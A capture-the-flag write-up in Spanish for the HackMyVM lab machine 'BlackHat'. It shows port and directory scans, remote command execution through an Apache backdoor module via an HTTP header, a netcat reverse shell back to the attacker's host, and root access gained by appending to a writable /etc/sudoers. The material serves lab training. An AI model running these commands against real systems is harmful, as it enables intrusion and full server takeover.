052 - BlackHat - wh01s17

Comenzamos con la enumeración de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.15
❯ nmap -sCV -p80 -oN 02-targeted.txt 192.168.1.15
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-23 18:02 -03
Nmap scan report for 192.168.1.15
Host is up (0.00036s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title:  Hacked By HackMyVM
|_http-server-header: Apache/2.4.54 (Debian)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.63 seconds

Enumeramos con gobuster:

❯ gobuster dir -u 'http://192.168.1.15' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,gif,png -r
...
/index.html           (Status: 200) [Size: 1437]
/image.jpg            (Status: 200) [Size: 13314]
/phpinfo.php          (Status: 200) [Size: 69320]

En phpinfo.php vemos cargado el módulo mod_backdoor. Comprobamos el RCE enviando el comando en una cabecera Backdoor:

❯ curl -H "Backdoor: id" http://192.168.1.15/
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lanzamos una reverse shell:

❯ curl -H "Backdoor: nc 192.168.1.10 1234 -e /bin/bash" http://192.168.1.15/

❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.15:58274.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@blackhat:/$ export TERM=xterm
export TERM=xterm
www-data@blackhat:/$

Con suBF.sh descubrimos que el usuario darkdante no tiene contraseña, así que cambiamos a él y obtenemos la primera flag:

www-data@blackhat:/$ su darkdante
darkdante@blackhat:/$

Para escalar a root, revisamos los permisos de /etc/sudoers:

darkdante@blackhat:/tmp$ ls -l /etc/sudoers
-r--rw----+ 1 root root 669 Nov 19  2022 /etc/sudoers

darkdante@blackhat:/tmp$ getfacl /etc/sudoers
...
user:darkdante:rw-
...

darkdante tiene escritura sobre /etc/sudoers (Writable Critical Files Privesc), así que nos concedemos permisos totales y elevamos:

darkdante@blackhat:/tmp$ echo "darkdante ALL=(ALL:ALL) ALL" >> /etc/sudoers
darkdante@blackhat:/tmp$ sudo su
root@blackhat:/tmp#

Obtenemos una shell de root y nuestra bandera.

Fin.